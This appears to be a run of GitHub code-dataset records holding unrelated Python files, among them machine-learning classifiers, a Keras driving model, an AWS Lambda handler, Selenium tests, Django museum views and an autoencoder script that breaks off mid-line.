print(\"DONE PRE-PROCESSING\\n\")\n \n #CLASSIFYING\n print(\"splitting\")\n X_train,X_test,y_train,y_test = train_test_split(padded_word_vecs,y,test_size=0.20)\n \n return X_train, X_test, y_train, y_test\n\n\n# # Logistic Regression\n\n# In[ ]:\n\n\n#Logistic Regression\nX_train_logistic, X_test_logistic, y_train_logistic, y_test_logistic = get_glove_data()\n\ngrid_searching = False\nclf = sklearn.linear_model.LogisticRegression(penalty=\"l2\", max_iter=100, solver=\"liblinear\")\nclf = clf.fit(X_train_logistic, y_train_logistic)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_logistic = clf.predict(X_test_logistic)\nprint(y_pred_logistic)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_logistic,y_pred_logistic))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_logistic,y_pred_logistic), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_random, y_pred_random), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_random, y_pred_random), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_random, y_pred_random), 4))\n\n\n# # Random Forest\n\n# In[ ]:\n\n\n#Logistic Regression\nX_train_random, X_test_random, y_train_random, y_test_random = get_glove_data()\ngrid_searching = False\nclf = RandomForestClassifier(n_estimators=100, max_depth=4)\nclf = clf.fit(X_train_random, y_train_random)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_random = clf.predict(X_test_random)\nprint(y_pred_random)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_random,y_pred_random))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_random,y_pred_random), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_random, y_pred_random), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_random, y_pred_random), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_random, y_pred_random), 4))\n\n\n# # Bernoulli Naive Bayes\n\n# In[ ]:\n\n\nX_train_bayes, X_test_bayes, y_train_bayes, y_test_bayes = get_glove_data()\ngrid_searching = False\nclf = BernoulliNB()\nclf = clf.fit(X_train_bayes, y_train_bayes)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_bayes = clf.predict(X_test_bayes)\nprint(y_pred_bayes)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_bayes,y_pred_bayes))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_bayes,y_pred_bayes), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_bayes, y_pred_bayes), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_bayes, y_pred_bayes), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_bayes, y_pred_bayes), 4))\n\n\n# # KNN\n\n# In[ ]:\n\n\nX_train_knn, X_test_knn, y_train_knn, y_test_knn = get_glove_data()\ngrid_searching = False\nclf = KNeighborsClassifier(n_neighbors=3)\nclf = clf.fit(X_train_knn, y_train_knn)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_knn = clf.predict(X_test_knn)\nprint(y_pred_knn)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_knn,y_pred_knn))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_knn,y_pred_knn), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_knn, y_pred_knn), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_knn, y_pred_knn), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_knn, y_pred_knn), 4))\n\n\n# # Adaboost Classifier\n\n# In[ ]:\n\n\nX_train_adaboost, X_test_adaboost, y_train_adaboost, y_test_adaboost = get_glove_data()\ngrid_searching = False\nclf = AdaBoostClassifier()\nclf = clf.fit(X_train_adaboost, y_train_adaboost)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_adaboost = clf.predict(X_test_adaboost)\nprint(y_pred_adaboost)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_adaboost,y_pred_adaboost))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_adaboost,y_pred_adaboost), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_adaboost, y_pred_adaboost), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_adaboost, y_pred_adaboost), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_adaboost, y_pred_adaboost), 4))\n\n\n# # SVM\n\n# In[ ]:\n\n\nX_train_svm, X_test_svm, y_train_svm, y_test_svm = get_glove_data()\ngrid_searching = False\nclf = svm.SVC(C=10, kernel=\"rbf\", gamma=0.001)\nclf = clf.fit(X_train_svm, y_train_svm)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_svm = clf.predict(X_test_svm)\nprint(y_pred_svm)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_svm,y_pred_svm))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_svm,y_pred_svm), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_svm, y_pred_svm), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_svm, y_pred_svm), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_svm, y_pred_svm), 4))\n\n\n# # Decision Tree\n\n# In[ ]:\n\n\nX_train_tree, X_test_tree, y_train_tree, y_test_tree = get_glove_data()\ngrid_searching = False\nclf = clf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train_tree, y_train_tree)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_tree = clf.predict(X_test_tree)\nprint(y_pred_tree)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_tree,y_pred_tree))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_tree,y_pred_tree), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_tree, y_pred_tree), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_tree, y_pred_tree), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_tree, y_pred_tree), 4))\n\n","repo_name":"tarekhemdan/Cyberbullying","sub_path":"Twitter_16k_Glove.py","file_name":"Twitter_16k_Glove.py","file_ext":"py","file_size_in_byte":8289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27880176236","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Cropping2D, Dropout, Activation\nfrom keras.layers.convolutional import Convolution2D\n\n#Load Training Data\nX_Train = np.load('X_Train_Raw.npy')\ny_Train = np.load('y_Train_Raw.npy')\nprint(X_Train.shape)\nprint(y_Train.shape)\n\n# Modified PilotNet\nkeep_prob = 0.5 #Dropout keep probability\nbatch_size = 64 #Batch size\nmodel = Sequential()\n# Normalization\nmodel.add(Lambda(lambda x: x / 255.0 - 0.5,\n\tinput_shape=(160,320,3)))\n# Crop\nmodel.add(Cropping2D(cropping=((50,25),(0,0))))\n# Start conv layers\nmodel.add(Convolution2D(24,5,5, subsample=(2,2), init='normal'))\nmodel.add(Convolution2D(36,5,5, subsample=(2,2), init='normal'))\nmodel.add(Convolution2D(48,5,5, subsample=(2,2), \n\tinit='normal', activation='elu'))\nmodel.add(Dropout(keep_prob)) # Dropout #1\nmodel.add(Convolution2D(64,3,3, subsample=(1,1), init='normal'))\nmodel.add(Convolution2D(64,3,3, subsample=(1,1), \n\tinit='normal', activation='elu'))\nmodel.add(Dropout(keep_prob)) # Dropout #2\n# Start of fully connected layers\nmodel.add(Flatten())\nmodel.add(Dense(100, init='normal', activation='tanh'))\nmodel.add(Dropout(keep_prob)) # Dropout #3\nmodel.add(Dense(50, init='normal'))\nmodel.add(Dense(10, init='normal'))\nmodel.add(Dense(1, init='normal'))\n\n# Train Model (MSE + Adam)\nmodel.compile(loss='mse', optimizer='adam')\nmodel.fit(X_Train, y_Train, validation_split=0.2, \nshuffle=True, nb_epoch=1, batch_size=batch_size)\n\nmodel.save('model.h5')\nexit()","repo_name":"t-mccawley/Udacity-SelfDrivingCar-T1P3","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14415160738","text":"import json\nimport boto3\nimport datetime\nfrom botocore.exceptions import ClientError\nfrom boto3.dynamodb.conditions import Key\n\n\ndef lambda_handler(event, context):\n try:\n dynamodb = boto3.resource('dynamodb')\n patientId = event['pathParameters']['id']\n patient_table = dynamodb.Table('patients')\n\n patient_response = patient_table.query(\n KeyConditionExpression=Key('patient_id').eq(patientId)\n )\n\n patient = patient_response['Items'][0]\n return {\n 'statusCode': 200,\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Headers': '*',\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': '*',\n },\n 'body': json.dumps({'Patient': patient})\n }\n except Exception as e:\n return {\n 'statusCode': 400,\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Headers': '*',\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': '*',\n },\n 'body': json.dumps({'Patient': f\"Error: {e}\"})\n }\n","repo_name":"Weiyao-Li/CureSphere","sub_path":"Lambda/getPatient.py","file_name":"getPatient.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14141004005","text":"class Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n front = 0 \n back = len(nums)-1\n counter = 0 \n \n # sorts the array and puts number in place \n for number in nums:\n if number != 0:\n nums[front] = number \n front += 1\n else:\n counter += 1\n \n # add the zeros to the end of the array\n for i in range(counter):\n nums[back] = 0\n back -= 1\n\n return nums","repo_name":"AndrewIO47/leetcode","sub_path":"leetcode-comeback/array/move-zeroes.py","file_name":"move-zeroes.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34422067937","text":"#! /usr/bin/python 3\n# -*- coding:UTF8 -*-\nfrom time import sleep\n\nfrom practice.web.base import Base\n\n\nclass TestJs(Base):\n def test_js(self):\n self.driver.get(\"http://www.baidu.com\")\n self.driver.find_element_by_id(\"kw\").send_keys(\"selenium测试\")\n # execute_script执行js，return 返回js的返回结果\n ele = self.driver.execute_script(\"return document.getElementById('su')\")\n ele.click()\n # 获取当前页面的滚动条纵坐标位置\n # 滚动到底部，点击下一页\n self.driver.execute_script(\"document.documentElement.scrollTop=10000\")\n self.driver.find_element_by_xpath(\"//*[@id='page']/div/a[10]\").click()\n sleep(3)\n for code in[\n 'return document.title','return JSON.stringify(performance.timing)'\n ]:\n print(self.driver.execute_script(code))\n\n\n # 修改时间控件：时间控件一般都是readonly\n # 取消日期的readonly属性\n # 给value赋值\n def test_js_time(self):\n self.driver.get(\"https://www.12306.cn/index/\")\n self.driver.execute_script(\"document.getElementById('train_date')\")\n print(self.driver.execute_script(\n \"return a = document.getElementById('train_date') ,document.getElementById('train_date').removeAttribute('readonly'),a.value = '2020-12-03'\"))\n","repo_name":"chensaijun/HogwartsSDET15-homework","sub_path":"test/web/test_json.py","file_name":"test_json.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40251943614","text":"from django.contrib import messages\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.paginator import Paginator\nfrom django.db.models import Count, Q\nfrom django.http import Http404, HttpRequest, HttpResponse\nfrom django.shortcuts import redirect, render\nfrom django.views.decorators.http import require_GET, require_POST\n\nfrom tag.models import Tag\nfrom utils.pagination import pagination\n\nfrom .models import Author, Church, Engraving, Painting\n\n\n@require_GET\ndef home(request: HttpRequest) -> HttpResponse:\n current_page = int(request.GET.get('page', 1))\n paintings = Painting.objects.filter(is_published=True).order_by('-id')\n paintings = paintings.select_related('church', 'post_author') \\\n .defer('description', 'is_published')\n paintings = paintings.prefetch_related('engraving', 'author') \\\n .defer('engraving__book', 'engraving__cover')\n\n page = pagination(paintings, current_page)\n return render(request, 'museum/pages/home.html', {\n 'page':page,\n 'obras':'-selected',\n 'search_action': 'painting:search',\n 'placeholder': 'Pesquise as obras pelo nome ou pelo resumo',\n })\n\n@require_GET\ndef detail_painting(request: HttpRequest, painting_id: int) -> HttpResponse:\n try:\n painting = Painting.objects.select_related('church', 'post_author').prefetch_related('engraving__author', 'author').get(pk=painting_id, is_published=True)\n engravings = painting.engraving.all()\n except ObjectDoesNotExist:\n raise Http404('Objects not found in database')\n\n return render(request, 'museum/pages/detail_painting.html', {\n 'painting': painting,\n 'engravings':engravings,\n 'range': [i+1 for i in range(engravings.count())],\n 'isDetailPage': True,\n 'searchbar': False,\n \n })\n\n@require_GET\ndef tags_paintings(request, slug):\n current_page = int(request.GET.get('page', 1)) \n paintings = Painting.objects.filter(tag__slug=slug)\n tag_name = Tag.objects.get(slug=slug).name\n page = pagination(paintings, current_page)\n return render(request, 'museum/pages/tag_paintings.html', {\n 'page':page,\n 'tag_name': tag_name,\n })\n\n@require_GET\ndef churches(request:HttpRequest) -> HttpResponse:\n churches_paintings = []\n churches = Church.objects.filter(painting__is_published = True).distinct().order_by('-id')\n churches = churches.annotate(\n num_paintings=Count('painting')\n )\n for church in churches:\n paintings_number = church.num_paintings\n if paintings_number > 0:\n churches_paintings.append((church, paintings_number))\n \n return render(request, 'museum/pages/search_church.html',{\n 'churches': churches_paintings,\n 'filterChurch': 'selected',\n 'igrejas': '-selected',\n 'search_action': 'painting:search',\n 'placeholder': 'Pesquise as igrejas pelo nome, cidade ou estado',\n })\n\n\n@require_GET\ndef detail_church(request: HttpRequest, id_church: int) -> HttpResponse:\n filter = request.GET.get('filter', '')\n current_page = int(request.GET.get('page', 1))\n paintings = Painting.objects.filter(church__id=id_church, is_published=True).order_by('-id')\n paintings = paintings.select_related('church', 'post_author')\n paintings = paintings.prefetch_related('engraving', 'author')\n\n \n if not paintings:\n raise Http404(\"there are no paintings related to this church id\")\n church = paintings.first().church\n \n if filter == 'churches':\n search = request.GET.get('q', '')\n paintings = paintings.filter(Q(\n Q(name__icontains=search) | Q(summary__icontains=search)\n ))\n \n page = pagination(paintings, current_page)\n return render(request, 'museum/pages/church.html', {\n 'page':page,\n 'church': church,\n 'filterChurch': 'selected',\n 'placeholder': 'Pesquise pelas obras dessa igreja.',\n 'limparPesquisa': True if filter == 'churches' else False,\n 'search_result': search if filter == 'churches' else False,\n \n })\n\n@require_GET\ndef painters(request: HttpRequest) -> HttpResponse:\n painter_paintings = []\n painters = Author.objects.filter(painting__is_published = True).distinct().order_by('-id')\n painters = painters.annotate(\n num_paintings = Count('painting')\n )\n for painter in painters:\n paintings_number = painter.num_paintings\n painter_paintings.append((painter, paintings_number))\n \n return render(request, 'museum/pages/search_painter.html',{\n 'painters': painter_paintings,\n 'filterPainter': 'selected',\n 'pintores': '-selected',\n 'search_action': 'painting:search',\n 'placeholder': 'Pesquise os pintores pelo nome',\n })\n\n@require_GET\ndef detail_painter(request: HttpRequest, id_painter: int)-> HttpResponse:\n filter = request.GET.get('filter', '')\n try:\n painter = Author.objects.get(pk=id_painter)\n paintings_this_painter = painter.painting_set.filter(is_published=True).order_by('-id')\n paintings_this_painter = paintings_this_painter.select_related('church', 'post_author').defer('church__city','church__state', 'description')\n paintings_this_painter = paintings_this_painter.prefetch_related('engraving', 'author').defer('engraving__book', 'author__biography')\n \n except ObjectDoesNotExist:\n raise Http404(\"Painter doesn't found in this database!\")\n \n current_page = int(request.GET.get('page', 1))\n \n if filter == 'painters':\n search = request.GET.get('q', '')\n paintings_this_painter = paintings_this_painter.filter(Q(\n Q(name__icontains=search) | Q(summary__icontains=search)\n ))\n\n page = pagination(paintings_this_painter, current_page)\n return render(request, 'museum/pages/painter.html', {\n 'painter': painter,\n 'page': page,\n 'filterPainter': 'selected',\n 'placeholder': 'Pesquise pelas obras desse pintor.',\n 'limparPesquisa': True if filter == 'painters' else False,\n 'search_result': search if filter == 'painters' else False,\n\n })\n\n@require_GET\ndef engravings(request: HttpRequest) -> HttpResponse:\n engraving_paintings = []\n engravings = Engraving.objects.filter(painting__is_published = True).distinct().order_by('-id')\n for engraving in engravings:\n paintings_number = engraving.painting_set.filter(is_published=True).count()\n engraving_paintings.append((engraving, paintings_number))\n \n return render(request, 'museum/pages/search_engraving.html',{\n 'engravings': engraving_paintings,\n 'filterEngraving': 'selected',\n 'gravuras': '-selected',\n 'search_action': 'painting:search',\n 'placeholder': 'Pesquise a gravura pelo nome ou livro',\n })\n\n@require_GET\ndef detail_engraving(request: HttpRequest, id_engraving:int) -> HttpResponse:\n try:\n engraving = Engraving.objects.get(pk=id_engraving)\n if not engraving.painting_set.filter(is_published=True).exists():\n raise Http404(\"Gravura não encontrada\")\n except ObjectDoesNotExist:\n raise Http404(\"Gravura não encontrada\")\n \n return render(request, 'museum/pages/detail_engraving.html', {\n 'engraving': engraving,\n 'search': False,\n })\n\n@require_GET\ndef search(request: HttpRequest)-> HttpResponse:\n filter = request.GET.get(\"filter\", \"paintings\")\n search = request.GET.get(\"q\", \"\")\n current_page = int(request.GET.get('page', 1))\n \n if filter == 'paintings':\n template = 'museum/pages/search_painting.html'\n paintings = Painting.objects.filter(\n Q(\n Q(name__icontains=search) | Q(summary__icontains=search) \n ) & Q(is_published=True)\n ).order_by('-id')\n paintings = paintings.select_related('church', 'post_author').prefetch_related('engraving', 'author')\n page = pagination(paintings, current_page)\n return render(request, template, {\n 'page': page,\n 'search_result': search,\n 'is_search': True,\n 'filter': filter,\n 'obras': '-selected',\n 'placeholder': 'Pesquise as obras pelo nome ou pelo resumo',\n })\n\n if filter == 'churches':\n template = 'museum/pages/search_church.html'\n churches_with_paintings_published = []\n churches = Church.objects.filter(\n Q(\n Q(name__icontains=search) | Q(city__icontains=search) | Q(state__icontains=search)\n ) \n ).order_by('-id')\n \n\n for church in churches:\n painting_this_church = church.painting_set.filter(is_published=True).count()\n if painting_this_church > 0:\n churches_with_paintings_published.append((church, painting_this_church))\n\n return render(request, template,{\n 'churches': churches_with_paintings_published,\n 'search_result': search,\n 'filterChurch': 'selected',\n 'igrejas': '-selected',\n 'placeholder': 'Pesquise as igrejas pelo nome, cidade ou estado',\n })\n \n if filter == \"painters\":\n template = 'museum/pages/search_painter.html'\n painters_with_paintings_published = []\n authors = Author.objects.filter(name__icontains=search).order_by('-id')\n\n for painter in authors:\n paintings_this_painter = painter.painting_set.filter(is_published=True).count()\n if paintings_this_painter > 0:\n painters_with_paintings_published.append((painter, paintings_this_painter))\n \n\n return render(request, template,{\n 'painters': painters_with_paintings_published,\n 'search_result': search,\n 'filterPainter': 'selected',\n 'pintores': '-selected',\n 'placeholder': 'Pesquise os pintores pelo nome',\n })\n\n@require_GET\ndef detail_painting_not_published(request: HttpRequest, painting_id: int) -> HttpResponse:\n try:\n painting = Painting.objects.select_related('church', 'post_author').prefetch_related('author', 'engraving__author').get(pk=painting_id, is_published=False)\n engravings = painting.engraving.all()\n except ObjectDoesNotExist:\n raise Http404('Objects not found in database')\n \n return render(request, 'museum/pages/detail_painting_edit.html', {\n 'painting': painting,\n 'engravings': engravings,\n 'range': [i+1 for i in range(engravings.count())],\n 'isDetailPage': True,\n 'search':False,\n 'edit': True,\n \n })\n\n@require_GET\ndef info(request: HttpRequest) -> HttpResponse:\n return render(request, 'museum/pages/info.html', {\n 'searchbar': False,\n 'sobre': '-selected',\n })\n","repo_name":"GuilhermeGonSoares/Art-Museum","sub_path":"museum/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29612539004","text":"class Settings:\r\n \"\"\"Settings of the game\"\"\"\r\n\r\n def __init__(self):\r\n # Screen settings\r\n self.screen_width = 1200\r\n self.screen_height = 700\r\n self.background_color = (255, 255, 255)\r\n # Spaceship settings\r\n self.spaceship_speed = 0.7\r\n self.spaceship_lives = 3\r\n # Bullet settings\r\n self.bullet_speed = 1\r\n self.bullet_width = 4\r\n self.bullet_height = 10\r\n self.bullet_color = (60, 60, 60)\r\n self.bullets_allowed_scr = 3\r\n # Alien settings\r\n self.alien_speed = 1\r\n self.fleet_speed_drop = 10\r\n self.fleet_direction = 1\r\n","repo_name":"Portos97/Alien_shooter","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"45191633569","text":"import math\n\nlength, k = list(map(int, input().split()))\narr = list(map(lambda x: int(x) % k, input().split()))\n\nsetLength = 0\n\nfor i in range(1, int(math.ceil(k / 2))):\n count = arr.count(i)\n complementaryCount = arr.count(k - i)\n setLength += max(count, complementaryCount)\n\nif k / 2 in arr:\n setLength += 1\nif 0 in arr:\n setLength += 1\n\nprint(setLength)\n\n# correct\n","repo_name":"hasnain-cyber/competitive-programming","sub_path":"hackerrank/non-divisible-subset.py","file_name":"non-divisible-subset.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29247931115","text":"#Name:Pravalika Rao Chitneni\n#CompletionDate:18/11/2023 10.40AM\n\nimport random\n\n#is_prime(parameter)\n#Accepts usrInput\n#Returns boolean true/false\n#This method checks passed parameter is primeNumber or Not\ndef is_prime(generatedNumber):\n if generatedNumber <= 1:\n return False\n for i in range(2, int(generatedNumber**0.5) + 1):\n if generatedNumber % i == 0:\n return False\n return True\n\n#generate_random_number(parameter1,parameter2)\n#Accepts two userInputs\n#Returns primeNumber which is generated randomly\ndef generate_random_number(usrInput_2, usrInput_3):\n while True:\n generated_RandomNumber = random.randint(usrInput_2, usrInput_3)\n if is_prime(generated_RandomNumber):\n return generated_RandomNumber\n\n#countCheck(parameter_1,parameter_2)\n#it will checks length of the primesnumbers count and checks count\n\ndef countCheck(usrInput_2, usrInput_3):\n count = 0\n for num in range(usrInput_2, usrInput_3 + 1):\n if is_prime(num):\n count += 1\n return count\n\n#number_of_primes_in_the_range(userInput1, userInput2, userInput3)\n#In this method we need to collect the primeNumbers which are generated randomly\n#Here we used set to collect the unique numbers\n#And the set was type casted to list\n#List was manipulated\n#printed list and reversed list and find the max and min of the list\ndef number_of_primes_in_the_range(userInput1, userInput2, userInput3):\n primes = set()\n while len(primes) < userInput1:\n random_prime = generate_random_number(userInput2, userInput3)\n primes.add(random_prime)\n resultList= list(primes)\n print(\"The generated random number list:\")\n print(resultList)\n print(resultList[::-1])\n print(\"The minimum and maximum prime numbers are :\",max(resultList),\"and\",min(resultList))\n\n\n#main()\n#Is's more like a wrapper method\n#because we have called all the methods\n#and achieved the output\ndef main(input_values):\n\n while True:\n try:\n if len(input_values) != 3:\n raise ValueError()\n\n usrInput_1,usrInput_2, usrInput_3=input_values\n if usrInput_1 <= 0:\n raise ValueError()\n\n if usrInput_2 >= usrInput_3:\n raise ValueError()\n\n if countCheck(usrInput_2,usrInput_3) < usrInput_1:\n raise ValueError()\n break\n except ValueError as e:\n print()\n\n number_of_primes_in_the_range(usrInput_1,usrInput_2,usrInput_3)\n\nif __name__ == \"__main__\":\n print(\"Provide inputs of 3 integers from the keyboard\")\n print(\"The 1st is the number of unique prime numbers to be created;\")\n print(\"The 2nd and 3rd define the range of those prime numbers.\")\n input_values = list(map(int, input(\"Enter those 3 integers seperated by space :\").split()))\n main(input_values)\n\n\n\n\n","repo_name":"thappeta/PyhtonAssignment","sub_path":"Lab5BCoding/Lab5B02.py","file_name":"Lab5B02.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72578027148","text":"\"\"\"\n\"\"\"\n\nfrom server.utils import *\nfrom server.models.product import Product\nfrom server.data.product_data import ProductData\n\n\nclass ProductController(object):\n _productData = ProductData()\n\n def __init__(self):\n pass\n\n def get_list(self, q=None, offset=0, fetch=20):\n product_list = None\n try:\n product_list = self._productData.get_list(q, offset, fetch)\n except:\n raise\n\n return product_list\n\n\n def get(self, product_id):\n product_dict = None\n try:\n product_dict = self._productData.get(product_id)\n except:\n raise\n\n return product_dict\n\n\n def create(self, product):\n product_dict = None\n try:\n product_dict = self._productData.create(product)\n except:\n raise\n\n return product_dict\n\n\n def update(self, product):\n product_dict = None\n try:\n return self._productData.update(product)\n except:\n raise\n \n return product_dict\n\n \n def delete(self, product_id):\n return self._productData.delete(product_id)\n","repo_name":"hyoungsookim/banzee","sub_path":"server/controller/product_controller.py","file_name":"product_controller.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"37748043114","text":"from accommodations.models import *\nfrom accommodations.serializers import *\nfrom accounts.models import *\nfrom accounts.serializers import *\n\n\ndef accommodation_list(accommodations):\n context = []\n for accommodation in accommodations:\n rooms = Room.objects.filter(building=accommodation, is_verified=True).order_by('rent')\n perks = Perk.objects.filter(building=accommodation)\n if rooms.exists():\n serialized_accommodation = BuildingSerializer(accommodation).data\n serialized_accommodation['starting_rent'] = rooms[0].rent\n serialized_accommodation['perks'] = PerkSerializer(perks, many=True).data\n context.append(serialized_accommodation)\n return context\n\n\ndef accommodation_detail(accommodation, owner=False):\n context = BuildingSerializer(accommodation).data\n if owner:\n rooms = Room.objects.filter(building=accommodation)\n else:\n rooms = Room.objects.filter(building=accommodation, is_verified=True)\n perks = Perk.objects.filter(building=accommodation)\n photos = BuildingPhoto.objects.filter(building=accommodation)\n context['rooms'] = RoomSerializer(rooms, many=True).data\n context['photos'] = BuildingPhotoSerializer(photos, many=True).data\n context['perks'] = PerkSerializer(perks, many=True).data\n return context\n\n\ndef room_detail(room):\n context = RoomSerializer(room).data\n bookings = Booking.objects.filter(room=room)\n context['bookings'] = []\n for booking in bookings:\n seeker = booking.user\n context['bookings'].append(\n {\n 'booking_no': booking.booking_no,\n 'user': seeker.user.username,\n 'first_name': seeker.user.first_name,\n 'last_name': seeker.user.last_name,\n 'phone_number': seeker.user.phone_number,\n 'booking_date': booking.booking_date\n }\n )\n return context\n\n\ndef bookmark_list(bookmarks):\n context = BookmarkSerializer(bookmarks, many=True).data\n for bookmark in context:\n building_id = bookmark['building']\n building = Building.objects.filter(id=building_id)\n bookmark['building'] = accommodation_list(building)[0]\n return context\n\n\ndef booking_details(booking):\n context = {}\n room = booking.room\n building = room.building\n owner = building.owner.user\n context['booking'] = BookingSerializer(booking).data\n context['room'] = RoomSerializer(room).data\n context['building'] = BuildingSerializer(building).data\n context['owner'] = {\n 'email': owner.username,\n 'first_name': owner.first_name,\n 'last_name': owner.last_name,\n 'phone_number': owner.phone_number\n }\n return context\n","repo_name":"Accomple/APIs","sub_path":"custom/responses.py","file_name":"responses.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7474293536","text":"import tensorflow as tf\nimport numpy as np\nimport data.dataset as data\n\nfrom lib.autoencoder import AutoEncoder\nfrom lib.colors import colors\n\nfrom functools import partial\n\n__dim__ = 100\n\nknown_labels = [\n 'K-Pop', \n 'Drum and Bass', \n 'Symphonic Metal', \n 'Trance',\n 'Progressive Rock'\n ]\n\ndef transform_labels (labels):\n global known_labels\n\n return [1 if x in labels else 0 for x in known_labels]\n\ndef decode_labels (labels, threshold=0.5):\n global known_labels\n\n return [known_labels[i] for i in range(len(labels)) if labels[i] > threshold]\n\ndef transform_input_one_hot (input, depth):\n \"\"\"\n Transforms a vector of features into a one-hot vector.\n\n Ex:\n\n input = [3, 4, 1, 1]\n depth = 5\n\n # [0, 1, 0, 1, 1]\n \"\"\"\n\n result = tf.zeros(depth)\n\n for scalar in input:\n result += tf.one_hot(scalar, depth)\n\n return result\n\n\"\"\" Main stub \"\"\"\n\nprint(colors.BOLD, 'Loading dataset...', colors.ENDC)\n\ndata_set, labels = data.get_data()\n\nprint(colors.BOLD, 'Transforming data...', colors.ENDC, end='')\n\ndata_set = list(map(partial(transform_input_one_hot, depth=__dim__), data_set))\ndata_set = tf.stack(data_set)\ndata_set = tf.map_fn(lambda t: t / tf.reduce_max(t), data_set)\n\ntrain = data_set[:800]\nvalidation = data_set[800:]\n\ntf.InteractiveSession()\n\ntrain_np = train.eval()\nvalidation_np = validation.eval()\n\nprint(colors.OKGREEN, 'OK', colors.ENDC)\n\nae = AutoEncoder(data_dimension=__dim__, encoding_dimension=65, verbose=True)\n\nae.initialize_model()\n\nprint(colors.BOLD, 'Fitting autoencoder model...', colors.ENDC)\nae.fit(train_np, validation_np, epochs=300)\nprint(colors.OKGREEN, 'Autoencoder fitting done.', colors.ENDC)\n\nae.extend_model(loss_function='binary_crossentropy')\n\nlabels = np.array(list(map(transform_labels, labels)))\n\ntrain_labels = labels[:800]\ntest_labels = 